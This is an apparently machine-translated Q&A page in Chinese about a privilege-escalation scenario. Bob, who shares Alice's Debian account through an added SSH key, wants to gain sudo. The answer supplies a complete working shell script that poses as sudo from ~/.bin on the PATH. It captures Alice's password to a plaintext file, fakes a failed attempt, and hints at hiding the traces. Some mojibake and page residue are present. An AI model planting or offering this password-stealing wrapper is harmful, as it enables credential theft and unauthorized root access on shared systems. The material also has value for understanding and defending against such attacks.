上下文:Debian Linux。
Alice 在机器上有一个用户帐户。她是 sudoers 中的一员,拥有安全密码。她仅使用 SSH 密钥通过 SSH 访问机器(密码无效)。
由于一些管理错误,Bob 获得了对同一个帐户的访问权,而不是获得了一个单独的帐户:他的 SSH 密钥被添加到authorized_keys. Bob 没有从 Alice 那里得到密码。
Bob 如何成功执行 sudo?假使,假设:
我认为如果没有 Alice 的合作,这将无法完成。因此,我正在寻找某种网络钓鱼或社会工程攻击,例如用将首先记录密码的别名替换 sudo。
它基本上是一个传统的根升级问题,具有(不知道的)用户合作的额外好处。
在过去,如果没有 Alice\xe2\x80\x99s 的帮助,这也是可行的,因为sudo\xe2\x80\x99s 令牌在终端会话中是有效的:Bob 可以只等待 Alice 进行身份验证sudo,然后使用sudo自己,而无需输入密码。
即使使用每个终端令牌,在此处描述的场景中获取 Alice\xe2\x80\x99s 密码也相对容易,只要 Alice 不始终彻底检查她的环境:
\n\n使用 Alice\xe2\x80\x99s 帐户,~/.bin/sudo使用类似的内容创建
#!/bin/sh\nif [ $# = 0 ]; then exec /usr/bin/sudo; fi\nif [ ! -f ~/.bin/alices-password ]; then\n echo -n "[sudo] password for $USER: "\n read -s password\n echo\n echo ${password} > ~/.bin/alices-password\n sleep 2\n echo "Sorry, try again."\n /usr/bin/sudo -k\nfi\nexec /usr/bin/sudo "$@"\nRun Code Online (Sandbox Code Playgroud)添加~/.bin到相应的 rc 文件中的路径,具体取决于 Alice 使用的 shell;
sudo的存在~/.bin/sudoBob 可以等待密码出现~/.bin/alices-password并在禁用特殊变体之前亲自尝试(以不引人注目的方式执行此操作将作为读者的练习 \xe2\x80\x94 请记住 shell 会缓存路径...)。
上面的脚本中有一些微妙之处,特别sudo -k是确保 \xe2\x80\x9cSorry, try again.\xe2\x80\x9d 实际上会要求sudo输入密码。该脚本可以进一步改进,\xe2\x80\x99 是读者的另一个练习!
正如您可能想象的那样,这不是\xe2\x80\x99t 唯一的方法......
\n| 归档时间: |
|
| 查看次数: |
205 次 |
| 最近记录: |